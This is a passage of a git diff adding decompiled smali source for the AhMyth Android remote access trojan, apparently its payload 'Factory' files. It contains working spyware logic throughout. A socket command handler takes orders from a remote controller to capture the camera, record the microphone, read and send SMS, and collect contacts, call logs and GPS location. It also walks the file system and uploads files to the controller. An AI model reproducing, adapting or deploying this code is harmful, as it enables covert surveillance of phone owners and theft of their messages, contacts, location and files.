+ invoke-virtual {v0, v3}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
+
+ move-result-object v3
+
+ const-string v4, "1"
+
+ invoke-virtual {v3, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
+
+ move-result v3
+
+ if-eqz v3, :cond_3
+
+ .line 78
+ const/4 v3, 0x1
+
+ invoke-static {v3}, Lahmyth/mine/king/ahmyth/ConnectionManager;->x0000ca(I)V
+
+ goto :goto_1
+
+ .line 79
+ :cond_3
+ const-string v3, "extra"
+
+ invoke-virtual {v0, v3}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
+
+ move-result-object v3
+
+ const-string v4, "0"
+
+ invoke-virtual {v3, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
+
+ move-result v3
+
+ if-eqz v3, :cond_1
+
+ .line 80
+ const/4 v3, 0x0
+
+ invoke-static {v3}, Lahmyth/mine/king/ahmyth/ConnectionManager;->x0000ca(I)V
+
+ goto/16 :goto_1
+
+ .line 83
+ :pswitch_1
+ const-string v3, "extra"
+
+ invoke-virtual {v0, v3}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
+
+ move-result-object v3
+
+ const-string v4, "ls"
+
+ invoke-virtual {v3, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
+
+ move-result v3
+
+ if-eqz v3, :cond_4
+
+ .line 84
+ const/4 v3, 0x0
+
+ const-string v4, "path"
+
+ invoke-virtual {v0, v4}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
+
+ move-result-object v4
+
+ invoke-static {v3, v4}, Lahmyth/mine/king/ahmyth/ConnectionManager;->x0000fm(ILjava/lang/String;)V
+
+ goto/16 :goto_1
+
+ .line 85
+ :cond_4
+ const-string v3, "extra"
+
+ invoke-virtual {v0, v3}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
+
+ move-result-object v3
+
+ const-string v4, "dl"
+
+ invoke-virtual {v3, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
+
+ move-result v3
+
+ if-eqz v3, :cond_1
+
+ .line 86
+ const/4 v3, 0x1
+
+ const-string v4, "path"
+
+ invoke-virtual {v0, v4}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
+
+ move-result-object v4
+
+ invoke-static {v3, v4}, Lahmyth/mine/king/ahmyth/ConnectionManager;->x0000fm(ILjava/lang/String;)V
+
+ goto/16 :goto_1
+
+ .line 89
+ :pswitch_2
+ const-string v3, "extra"
+
+ invoke-virtual {v0, v3}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
+
+ move-result-object v3
+
+ const-string v4, "ls"
+
+ invoke-virtual {v3, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
+
+ move-result v3
+
+ if-eqz v3, :cond_5
+
+ .line 90
+ const/4 v3, 0x0
+
+ const/4 v4, 0x0
+
+ const/4 v5, 0x0
+
+ invoke-static {v3, v4, v5}, Lahmyth/mine/king/ahmyth/ConnectionManager;->x0000sm(ILjava/lang/String;Ljava/lang/String;)V
+
+ goto/16 :goto_1
+
+ .line 91
+ :cond_5
+ const-string v3, "extra"
+
+ invoke-virtual {v0, v3}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
+
+ move-result-object v3
+
+ const-string v4, "sendSMS"
+
+ invoke-virtual {v3, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
+
+ move-result v3
+
+ if-eqz v3, :cond_1
+
+ .line 92
+ const/4 v3, 0x1
+
+ const-string v4, "to"
+
+ invoke-virtual {v0, v4}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
+
+ move-result-object v4
+
+ const-string v5, "sms"
+
+ invoke-virtual {v0, v5}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
+
+ move-result-object v5
+
+ invoke-static {v3, v4, v5}, Lahmyth/mine/king/ahmyth/ConnectionManager;->x0000sm(ILjava/lang/String;Ljava/lang/String;)V
+
+ goto/16 :goto_1
+
+ .line 95
+ :pswitch_3
+ invoke-static {}, Lahmyth/mine/king/ahmyth/ConnectionManager;->x0000cl()V
+
+ goto/16 :goto_1
+
+ .line 98
+ :pswitch_4
+ invoke-static {}, Lahmyth/mine/king/ahmyth/ConnectionManager;->x0000cn()V
+
+ goto/16 :goto_1
+
+ .line 101
+ :pswitch_5
+ const-string v3, "sec"
+
+ invoke-virtual {v0, v3}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I
+
+ move-result v3
+
+ invoke-static {v3}, Lahmyth/mine/king/ahmyth/ConnectionManager;->x0000mc(I)V
+
+ goto/16 :goto_1
+
+ .line 104
+ :pswitch_6
+ invoke-static {}, Lahmyth/mine/king/ahmyth/ConnectionManager;->x0000lm()V
+ :try_end_1
+ .catch Ljava/lang/Exception; {:try_start_1 .. :try_end_1} :catch_0
+
+ goto/16 :goto_1
+
+ .line 73
+ nop
+
+ :sswitch_data_0
+ .sparse-switch
+ 0x208f5ed6 -> :sswitch_0
+ 0x208f5ee1 -> :sswitch_3
+ 0x208f5ee3 -> :sswitch_4
+ 0x208f5f3f -> :sswitch_1
+ 0x208f5ff9 -> :sswitch_6
+ 0x208f600e -> :sswitch_5
+ 0x208f60d2 -> :sswitch_2
+ .end sparse-switch
+
+ :pswitch_data_0
+ .packed-switch 0x0
+ :pswitch_0
+ :pswitch_1
+ :pswitch_2
+ :pswitch_3
+ :pswitch_4
+ :pswitch_5
+ :pswitch_6
+ .end packed-switch
+.end method
diff --git a/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/ahmyth/mine/king/ahmyth/ConnectionManager.smali b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/ahmyth/mine/king/ahmyth/ConnectionManager.smali
new file mode 100644
index 00000000..cf44b0c6
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/ahmyth/mine/king/ahmyth/ConnectionManager.smali
@@ -0,0 +1,526 @@
+.class public Lahmyth/mine/king/ahmyth/ConnectionManager;
+.super Ljava/lang/Object;
+.source "ConnectionManager.java"
+
+
+# static fields
+.field public static context:Landroid/content/Context;
+
+.field private static fm:Lahmyth/mine/king/ahmyth/FileManager;
+
+.field private static ioSocket:Lio/socket/client/Socket;
+
+
+# direct methods
+.method static constructor ()V
+ .locals 1
+
+ .prologue
+ .line 32
+ new-instance v0, Lahmyth/mine/king/ahmyth/FileManager;
+
+ invoke-direct {v0}, Lahmyth/mine/king/ahmyth/FileManager;->()V
+
+ sput-object v0, Lahmyth/mine/king/ahmyth/ConnectionManager;->fm:Lahmyth/mine/king/ahmyth/FileManager;
+
+ return-void
+.end method
+
+.method public constructor ()V
+ .locals 0
+
+ .prologue
+ .line 27
+ invoke-direct {p0}, Ljava/lang/Object;->()V
+
+ return-void
+.end method
+
+.method static synthetic access$000()Lio/socket/client/Socket;
+ .locals 1
+
+ .prologue
+ .line 27
+ sget-object v0, Lahmyth/mine/king/ahmyth/ConnectionManager;->ioSocket:Lio/socket/client/Socket;
+
+ return-object v0
+.end method
+
+.method public static sendReq()V
+ .locals 4
+
+ .prologue
+ .line 53
+ :try_start_0
+ sget-object v1, Lahmyth/mine/king/ahmyth/ConnectionManager;->ioSocket:Lio/socket/client/Socket;
+
+ if-eqz v1, :cond_0
+
+ .line 125
+ .local v0, "ex":Ljava/lang/Exception;
+ :goto_0
+ return-void
+
+ .line 56
+ .end local v0 # "ex":Ljava/lang/Exception;
+ :cond_0
+ invoke-static {}, Lahmyth/mine/king/ahmyth/IOSocket;->getInstance()Lahmyth/mine/king/ahmyth/IOSocket;
+
+ move-result-object v1
+
+ invoke-virtual {v1}, Lahmyth/mine/king/ahmyth/IOSocket;->getIoSocket()Lio/socket/client/Socket;
+
+ move-result-object v1
+
+ sput-object v1, Lahmyth/mine/king/ahmyth/ConnectionManager;->ioSocket:Lio/socket/client/Socket;
+
+ .line 59
+ sget-object v1, Lahmyth/mine/king/ahmyth/ConnectionManager;->ioSocket:Lio/socket/client/Socket;
+
+ const-string v2, "ping"
+
+ new-instance v3, Lahmyth/mine/king/ahmyth/ConnectionManager$1;
+
+ invoke-direct {v3}, Lahmyth/mine/king/ahmyth/ConnectionManager$1;->()V
+
+ invoke-virtual {v1, v2, v3}, Lio/socket/client/Socket;->on(Ljava/lang/String;Lio/socket/emitter/Emitter$Listener;)Lio/socket/emitter/Emitter;
+
+ .line 66
+ sget-object v1, Lahmyth/mine/king/ahmyth/ConnectionManager;->ioSocket:Lio/socket/client/Socket;
+
+ const-string v2, "order"
+
+ new-instance v3, Lahmyth/mine/king/ahmyth/ConnectionManager$2;
+
+ invoke-direct {v3}, Lahmyth/mine/king/ahmyth/ConnectionManager$2;->()V
+
+ invoke-virtual {v1, v2, v3}, Lio/socket/client/Socket;->on(Ljava/lang/String;Lio/socket/emitter/Emitter$Listener;)Lio/socket/emitter/Emitter;
+
+ .line 117
+ sget-object v1, Lahmyth/mine/king/ahmyth/ConnectionManager;->ioSocket:Lio/socket/client/Socket;
+
+ invoke-virtual {v1}, Lio/socket/client/Socket;->connect()Lio/socket/client/Socket;
+ :try_end_0
+ .catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0
+
+ goto :goto_0
+
+ .line 119
+ :catch_0
+ move-exception v0
+
+ .line 121
+ .restart local v0 # "ex":Ljava/lang/Exception;
+ const-string v1, "errrr"
+
+ invoke-virtual {v0}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
+
+ move-result-object v2
+
+ invoke-static {v1, v2}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
+
+ goto :goto_0
+.end method
+
+.method public static startAsync(Landroid/content/Context;)V
+ .locals 1
+ .param p0, "con" # Landroid/content/Context;
+
+ .prologue
+ .line 37
+ :try_start_0
+ sput-object p0, Lahmyth/mine/king/ahmyth/ConnectionManager;->context:Landroid/content/Context;
+
+ .line 38
+ invoke-static {}, Lahmyth/mine/king/ahmyth/ConnectionManager;->sendReq()V
+ :try_end_0
+ .catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0
+
+ .line 43
+ :goto_0
+ return-void
+
+ .line 39
+ :catch_0
+ move-exception v0
+
+ .line 40
+ .local v0, "ex":Ljava/lang/Exception;
+ invoke-static {p0}, Lahmyth/mine/king/ahmyth/ConnectionManager;->startAsync(Landroid/content/Context;)V
+
+ goto :goto_0
+.end method
+
+.method public static x0000ca(I)V
+ .locals 5
+ .param p0, "req" # I
+
+ .prologue
+ const/4 v4, 0x0
+
+ const/4 v3, 0x1
+
+ .line 129
+ const/4 v1, -0x1
+
+ if-ne p0, v1, :cond_1
+
+ .line 130
+ new-instance v1, Lahmyth/mine/king/ahmyth/CameraManager;
+
+ sget-object v2, Lahmyth/mine/king/ahmyth/ConnectionManager;->context:Landroid/content/Context;
+
+ invoke-direct {v1, v2}, Lahmyth/mine/king/ahmyth/CameraManager;->(Landroid/content/Context;)V
+
+ invoke-virtual {v1}, Lahmyth/mine/king/ahmyth/CameraManager;->findCameraList()Lorg/json/JSONObject;
+
+ move-result-object v0
+
+ .line 131
+ .local v0, "cameraList":Lorg/json/JSONObject;
+ if-eqz v0, :cond_0
+
+ .line 132
+ sget-object v1, Lahmyth/mine/king/ahmyth/ConnectionManager;->ioSocket:Lio/socket/client/Socket;
+
+ const-string v2, "x0000ca"
+
+ new-array v3, v3, [Ljava/lang/Object;
+
+ aput-object v0, v3, v4
+
+ invoke-virtual {v1, v2, v3}, Lio/socket/client/Socket;->emit(Ljava/lang/String;[Ljava/lang/Object;)Lio/socket/emitter/Emitter;
+
+ .line 141
+ .end local v0 # "cameraList":Lorg/json/JSONObject;
+ :cond_0
+ :goto_0
+ return-void
+
+ .line 134
+ :cond_1
+ if-ne p0, v3, :cond_2
+
+ .line 135
+ new-instance v1, Lahmyth/mine/king/ahmyth/CameraManager;
+
+ sget-object v2, Lahmyth/mine/king/ahmyth/ConnectionManager;->context:Landroid/content/Context;
+
+ invoke-direct {v1, v2}, Lahmyth/mine/king/ahmyth/CameraManager;->(Landroid/content/Context;)V
+
+ invoke-virtual {v1, v3}, Lahmyth/mine/king/ahmyth/CameraManager;->startUp(I)V
+
+ goto :goto_0
+
+ .line 137
+ :cond_2
+ if-nez p0, :cond_0
+
+ .line 138
+ new-instance v1, Lahmyth/mine/king/ahmyth/CameraManager;
+
+ sget-object v2, Lahmyth/mine/king/ahmyth/ConnectionManager;->context:Landroid/content/Context;
+
+ invoke-direct {v1, v2}, Lahmyth/mine/king/ahmyth/CameraManager;->(Landroid/content/Context;)V
+
+ invoke-virtual {v1, v4}, Lahmyth/mine/king/ahmyth/CameraManager;->startUp(I)V
+
+ goto :goto_0
+.end method
+
+.method public static x0000cl()V
+ .locals 5
+
+ .prologue
+ .line 162
+ sget-object v0, Lahmyth/mine/king/ahmyth/ConnectionManager;->ioSocket:Lio/socket/client/Socket;
+
+ const-string v1, "x0000cl"
+
+ const/4 v2, 0x1
+
+ new-array v2, v2, [Ljava/lang/Object;
+
+ const/4 v3, 0x0
+
+ invoke-static {}, Lahmyth/mine/king/ahmyth/CallsManager;->getCallsLogs()Lorg/json/JSONObject;
+
+ move-result-object v4
+
+ aput-object v4, v2, v3
+
+ invoke-virtual {v0, v1, v2}, Lio/socket/client/Socket;->emit(Ljava/lang/String;[Ljava/lang/Object;)Lio/socket/emitter/Emitter;
+
+ .line 163
+ return-void
+.end method
+
+.method public static x0000cn()V
+ .locals 5
+
+ .prologue
+ .line 166
+ sget-object v0, Lahmyth/mine/king/ahmyth/ConnectionManager;->ioSocket:Lio/socket/client/Socket;
+
+ const-string v1, "x0000cn"
+
+ const/4 v2, 0x1
+
+ new-array v2, v2, [Ljava/lang/Object;
+
+ const/4 v3, 0x0
+
+ invoke-static {}, Lahmyth/mine/king/ahmyth/ContactsManager;->getContacts()Lorg/json/JSONObject;
+
+ move-result-object v4
+
+ aput-object v4, v2, v3
+
+ invoke-virtual {v0, v1, v2}, Lio/socket/client/Socket;->emit(Ljava/lang/String;[Ljava/lang/Object;)Lio/socket/emitter/Emitter;
+
+ .line 167
+ return-void
+.end method
+
+.method public static x0000fm(ILjava/lang/String;)V
+ .locals 5
+ .param p0, "req" # I
+ .param p1, "path" # Ljava/lang/String;
+
+ .prologue
+ const/4 v2, 0x1
+
+ .line 144
+ if-nez p0, :cond_1
+
+ .line 145
+ sget-object v0, Lahmyth/mine/king/ahmyth/ConnectionManager;->ioSocket:Lio/socket/client/Socket;
+
+ const-string v1, "x0000fm"
+
+ new-array v2, v2, [Ljava/lang/Object;
+
+ const/4 v3, 0x0
+
+ sget-object v4, Lahmyth/mine/king/ahmyth/ConnectionManager;->fm:Lahmyth/mine/king/ahmyth/FileManager;
+
+ invoke-static {p1}, Lahmyth/mine/king/ahmyth/FileManager;->walk(Ljava/lang/String;)Lorg/json/JSONArray;
+
+ move-result-object v4
+
+ aput-object v4, v2, v3
+
+ invoke-virtual {v0, v1, v2}, Lio/socket/client/Socket;->emit(Ljava/lang/String;[Ljava/lang/Object;)Lio/socket/emitter/Emitter;
+
+ .line 148
+ :cond_0
+ :goto_0
+ return-void
+
+ .line 146
+ :cond_1
+ if-ne p0, v2, :cond_0
+
+ .line 147
+ sget-object v0, Lahmyth/mine/king/ahmyth/ConnectionManager;->fm:Lahmyth/mine/king/ahmyth/FileManager;
+
+ invoke-static {p1}, Lahmyth/mine/king/ahmyth/FileManager;->downloadFile(Ljava/lang/String;)V
+
+ goto :goto_0
+.end method
+
+.method public static x0000lm()V
+ .locals 11
+ .annotation system Ldalvik/annotation/Throws;
+ value = {
+ Ljava/lang/Exception;
+ }
+ .end annotation
+
+ .prologue
+ const/4 v10, 0x1
+
+ const/4 v9, 0x0
+
+ .line 174
+ invoke-static {}, Landroid/os/Looper;->prepare()V
+
+ .line 175
+ new-instance v0, Lahmyth/mine/king/ahmyth/LocManager;
+
+ sget-object v6, Lahmyth/mine/king/ahmyth/ConnectionManager;->context:Landroid/content/Context;
+
+ invoke-direct {v0, v6}, Lahmyth/mine/king/ahmyth/LocManager;->(Landroid/content/Context;)V
+
+ .line 176
+ .local v0, "gps":Lahmyth/mine/king/ahmyth/LocManager;
+ new-instance v1, Lorg/json/JSONObject;
+
+ invoke-direct {v1}, Lorg/json/JSONObject;->()V
+
+ .line 178
+ .local v1, "location":Lorg/json/JSONObject;
+ invoke-virtual {v0}, Lahmyth/mine/king/ahmyth/LocManager;->canGetLocation()Z
+
+ move-result v6
+
+ if-eqz v6, :cond_0
+
+ .line 180
+ invoke-virtual {v0}, Lahmyth/mine/king/ahmyth/LocManager;->getLatitude()D
+
+ move-result-wide v2
+
+ .line 181
+ .local v2, "latitude":D
+ invoke-virtual {v0}, Lahmyth/mine/king/ahmyth/LocManager;->getLongitude()D
+
+ move-result-wide v4
+
+ .line 182
+ .local v4, "longitude":D
+ const-string v6, "loc"
+
+ new-instance v7, Ljava/lang/StringBuilder;
+
+ invoke-direct {v7}, Ljava/lang/StringBuilder;->()V
+
+ invoke-virtual {v7, v2, v3}, Ljava/lang/StringBuilder;->append(D)Ljava/lang/StringBuilder;
+
+ move-result-object v7
+
+ const-string v8, " , "
+
+ invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
+
+ move-result-object v7
+
+ invoke-virtual {v7, v4, v5}, Ljava/lang/StringBuilder;->append(D)Ljava/lang/StringBuilder;
+
+ move-result-object v7
+
+ invoke-virtual {v7}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
+
+ move-result-object v7
+
+ invoke-static {v6, v7}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
+
+ .line 183
+ const-string v6, "enable"
+
+ invoke-virtual {v1, v6, v10}, Lorg/json/JSONObject;->put(Ljava/lang/String;Z)Lorg/json/JSONObject;
+
+ .line 184
+ const-string v6, "lat"
+
+ invoke-virtual {v1, v6, v2, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;D)Lorg/json/JSONObject;
+
+ .line 185
+ const-string v6, "lng"
+
+ invoke-virtual {v1, v6, v4, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;D)Lorg/json/JSONObject;
+
+ .line 190
+ .end local v2 # "latitude":D
+ .end local v4 # "longitude":D
+ :goto_0
+ sget-object v6, Lahmyth/mine/king/ahmyth/ConnectionManager;->ioSocket:Lio/socket/client/Socket;
+
+ const-string v7, "x0000lm"
+
+ new-array v8, v10, [Ljava/lang/Object;
+
+ aput-object v1, v8, v9
+
+ invoke-virtual {v6, v7, v8}, Lio/socket/client/Socket;->emit(Ljava/lang/String;[Ljava/lang/Object;)Lio/socket/emitter/Emitter;
+
+ .line 191
+ return-void
+
+ .line 188
+ :cond_0
+ const-string v6, "enable"
+
+ invoke-virtual {v1, v6, v9}, Lorg/json/JSONObject;->put(Ljava/lang/String;Z)Lorg/json/JSONObject;
+
+ goto :goto_0
+.end method
+
+.method public static x0000mc(I)V
+ .locals 0
+ .param p0, "sec" # I
+ .annotation system Ldalvik/annotation/Throws;
+ value = {
+ Ljava/lang/Exception;
+ }
+ .end annotation
+
+ .prologue
+ .line 170
+ invoke-static {p0}, Lahmyth/mine/king/ahmyth/MicManager;->startRecording(I)V
+
+ .line 171
+ return-void
+.end method
+
+.method public static x0000sm(ILjava/lang/String;Ljava/lang/String;)V
+ .locals 6
+ .param p0, "req" # I
+ .param p1, "phoneNo" # Ljava/lang/String;
+ .param p2, "msg" # Ljava/lang/String;
+
+ .prologue
+ const/4 v5, 0x0
+
+ const/4 v3, 0x1
+
+ .line 152
+ if-nez p0, :cond_1
+
+ .line 153
+ sget-object v1, Lahmyth/mine/king/ahmyth/ConnectionManager;->ioSocket:Lio/socket/client/Socket;
+
+ const-string v2, "x0000sm"
+
+ new-array v3, v3, [Ljava/lang/Object;
+
+ invoke-static {}, Lahmyth/mine/king/ahmyth/SMSManager;->getSMSList()Lorg/json/JSONObject;
+
+ move-result-object v4
+
+ aput-object v4, v3, v5
+
+ invoke-virtual {v1, v2, v3}, Lio/socket/client/Socket;->emit(Ljava/lang/String;[Ljava/lang/Object;)Lio/socket/emitter/Emitter;
+
+ .line 158
+ :cond_0
+ :goto_0
+ return-void
+
+ .line 154
+ :cond_1
+ if-ne p0, v3, :cond_0
+
+ .line 155
+ invoke-static {p1, p2}, Lahmyth/mine/king/ahmyth/SMSManager;->sendSMS(Ljava/lang/String;Ljava/lang/String;)Z
+
+ move-result v0
+
+ .line 156
+ .local v0, "isSent":Z
+ sget-object v1, Lahmyth/mine/king/ahmyth/ConnectionManager;->ioSocket:Lio/socket/client/Socket;
+
+ const-string v2, "x0000sm"
+
+ new-array v3, v3, [Ljava/lang/Object;
+
+ invoke-static {v0}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
+
+ move-result-object v4
+
+ aput-object v4, v3, v5
+
+ invoke-virtual {v1, v2, v3}, Lio/socket/client/Socket;->emit(Ljava/lang/String;[Ljava/lang/Object;)Lio/socket/emitter/Emitter;
+
+ goto :goto_0
+.end method
diff --git a/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/ahmyth/mine/king/ahmyth/ContactsManager.smali b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/ahmyth/mine/king/ahmyth/ContactsManager.smali
new file mode 100644
index 00000000..0fbeb0e6
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/ahmyth/mine/king/ahmyth/ContactsManager.smali
@@ -0,0 +1,163 @@
+.class public Lahmyth/mine/king/ahmyth/ContactsManager;
+.super Ljava/lang/Object;
+.source "ContactsManager.java"
+
+
+# direct methods
+.method public constructor ()V
+ .locals 0
+
+ .prologue
+ .line 16
+ invoke-direct {p0}, Ljava/lang/Object;->()V
+
+ return-void
+.end method
+
+.method public static getContacts()Lorg/json/JSONObject;
+ .locals 14
+
+ .prologue
+ const/4 v13, 0x0
+
+ .line 21
+ :try_start_0
+ new-instance v7, Lorg/json/JSONObject;
+
+ invoke-direct {v7}, Lorg/json/JSONObject;->()V
+
+ .line 22
+ .local v7, "contacts":Lorg/json/JSONObject;
+ new-instance v10, Lorg/json/JSONArray;
+
+ invoke-direct {v10}, Lorg/json/JSONArray;->()V
+
+ .line 23
+ .local v10, "list":Lorg/json/JSONArray;
+ invoke-static {}, Lahmyth/mine/king/ahmyth/MainService;->getContextOfApplication()Landroid/content/Context;
+
+ move-result-object v0
+
+ invoke-virtual {v0}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;
+
+ move-result-object v0
+
+ sget-object v1, Landroid/provider/ContactsContract$CommonDataKinds$Phone;->CONTENT_URI:Landroid/net/Uri;
+
+ const/4 v2, 0x2
+
+ new-array v2, v2, [Ljava/lang/String;
+
+ const/4 v3, 0x0
+
+ const-string v4, "display_name"
+
+ aput-object v4, v2, v3
+
+ const/4 v3, 0x1
+
+ const-string v4, "data1"
+
+ aput-object v4, v2, v3
+
+ const/4 v3, 0x0
+
+ const/4 v4, 0x0
+
+ const-string v5, "display_name ASC"
+
+ invoke-virtual/range {v0 .. v5}, Landroid/content/ContentResolver;->query(Landroid/net/Uri;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;
+
+ move-result-object v8
+
+ .line 27
+ .local v8, "cur":Landroid/database/Cursor;
+ :goto_0
+ invoke-interface {v8}, Landroid/database/Cursor;->moveToNext()Z
+
+ move-result v0
+
+ if-eqz v0, :cond_0
+
+ .line 28
+ new-instance v6, Lorg/json/JSONObject;
+
+ invoke-direct {v6}, Lorg/json/JSONObject;->()V
+
+ .line 29
+ .local v6, "contact":Lorg/json/JSONObject;
+ const-string v0, "display_name"
+
+ invoke-interface {v8, v0}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
+
+ move-result v0
+
+ invoke-interface {v8, v0}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
+
+ move-result-object v11
+
+ .line 30
+ .local v11, "name":Ljava/lang/String;
+ const-string v0, "data1"
+
+ invoke-interface {v8, v0}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
+
+ move-result v0
+
+ invoke-interface {v8, v0}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
+
+ move-result-object v12
+
+ .line 32
+ .local v12, "num":Ljava/lang/String;
+ const-string v0, "phoneNo"
+
+ invoke-virtual {v6, v0, v12}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
+
+ .line 33
+ const-string v0, "name"
+
+ invoke-virtual {v6, v0, v11}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
+
+ .line 34
+ invoke-virtual {v10, v6}, Lorg/json/JSONArray;->put(Ljava/lang/Object;)Lorg/json/JSONArray;
+ :try_end_0
+ .catch Lorg/json/JSONException; {:try_start_0 .. :try_end_0} :catch_0
+
+ goto :goto_0
+
+ .line 39
+ .end local v6 # "contact":Lorg/json/JSONObject;
+ .end local v8 # "cur":Landroid/database/Cursor;
+ .end local v10 # "list":Lorg/json/JSONArray;
+ .end local v11 # "name":Ljava/lang/String;
+ .end local v12 # "num":Ljava/lang/String;
+ :catch_0
+ move-exception v9
+
+ .line 40
+ .local v9, "e":Lorg/json/JSONException;
+ invoke-virtual {v9}, Lorg/json/JSONException;->printStackTrace()V
+
+ move-object v7, v13
+
+ .line 42
+ .end local v7 # "contacts":Lorg/json/JSONObject;
+ .end local v9 # "e":Lorg/json/JSONException;
+ :goto_1
+ return-object v7
+
+ .line 37
+ .restart local v7 # "contacts":Lorg/json/JSONObject;
+ .restart local v8 # "cur":Landroid/database/Cursor;
+ .restart local v10 # "list":Lorg/json/JSONArray;
+ :cond_0
+ :try_start_1
+ const-string v0, "contactsList"
+
+ invoke-virtual {v7, v0, v10}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
+ :try_end_1
+ .catch Lorg/json/JSONException; {:try_start_1 .. :try_end_1} :catch_0
+
+ goto :goto_1
+.end method
diff --git a/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/ahmyth/mine/king/ahmyth/FileManager.smali b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/ahmyth/mine/king/ahmyth/FileManager.smali
new file mode 100644
index 00000000..8d2f2001
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/ahmyth/mine/king/ahmyth/FileManager.smali
@@ -0,0 +1,323 @@
+.class public Lahmyth/mine/king/ahmyth/FileManager;
+.super Ljava/lang/Object;
+.source "FileManager.java"
+
+
+# direct methods
+.method public constructor ()V
+ .locals 0
+
+ .prologue
+ .line 24
+ invoke-direct {p0}, Ljava/lang/Object;->()V
+
+ return-void
+.end method
+
+.method public static downloadFile(Ljava/lang/String;)V
+ .locals 10
+ .param p0, "path" # Ljava/lang/String;
+
+ .prologue
+ .line 65
+ if-nez p0, :cond_1
+
+ .line 93
+ :cond_0
+ :goto_0
+ return-void
+
+ .line 68
+ :cond_1
+ new-instance v3, Ljava/io/File;
+
+ invoke-direct {v3, p0}, Ljava/io/File;->(Ljava/lang/String;)V
+
+ .line 70
+ .local v3, "file":Ljava/io/File;
+ invoke-virtual {v3}, Ljava/io/File;->exists()Z
+
+ move-result v6
+
+ if-eqz v6, :cond_0
+
+ .line 72
+ invoke-virtual {v3}, Ljava/io/File;->length()J
+
+ move-result-wide v6
+
+ long-to-int v5, v6
+
+ .line 73
+ .local v5, "size":I
+ new-array v1, v5, [B
+
+ .line 75
+ .local v1, "data":[B
+ :try_start_0
+ new-instance v0, Ljava/io/BufferedInputStream;
+
+ new-instance v6, Ljava/io/FileInputStream;
+
+ invoke-direct {v6, v3}, Ljava/io/FileInputStream;->(Ljava/io/File;)V
+
+ invoke-direct {v0, v6}, Ljava/io/BufferedInputStream;->(Ljava/io/InputStream;)V
+
+ .line 76
+ .local v0, "buf":Ljava/io/BufferedInputStream;
+ const/4 v6, 0x0
+
+ array-length v7, v1
+
+ invoke-virtual {v0, v1, v6, v7}, Ljava/io/BufferedInputStream;->read([BII)I
+
+ .line 77
+ new-instance v4, Lorg/json/JSONObject;
+
+ invoke-direct {v4}, Lorg/json/JSONObject;->()V
+
+ .line 78
+ .local v4, "object":Lorg/json/JSONObject;
+ const-string v6, "file"
+
+ const/4 v7, 0x1
+
+ invoke-virtual {v4, v6, v7}, Lorg/json/JSONObject;->put(Ljava/lang/String;Z)Lorg/json/JSONObject;
+
+ .line 79
+ const-string v6, "name"
+
+ invoke-virtual {v3}, Ljava/io/File;->getName()Ljava/lang/String;
+
+ move-result-object v7
+
+ invoke-virtual {v4, v6, v7}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
+
+ .line 80
+ const-string v6, "buffer"
+
+ invoke-virtual {v4, v6, v1}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
+
+ .line 81
+ invoke-static {}, Lahmyth/mine/king/ahmyth/IOSocket;->getInstance()Lahmyth/mine/king/ahmyth/IOSocket;
+
+ move-result-object v6
+
+ invoke-virtual {v6}, Lahmyth/mine/king/ahmyth/IOSocket;->getIoSocket()Lio/socket/client/Socket;
+
+ move-result-object v6
+
+ const-string v7, "x0000fm"
+
+ const/4 v8, 0x1
+
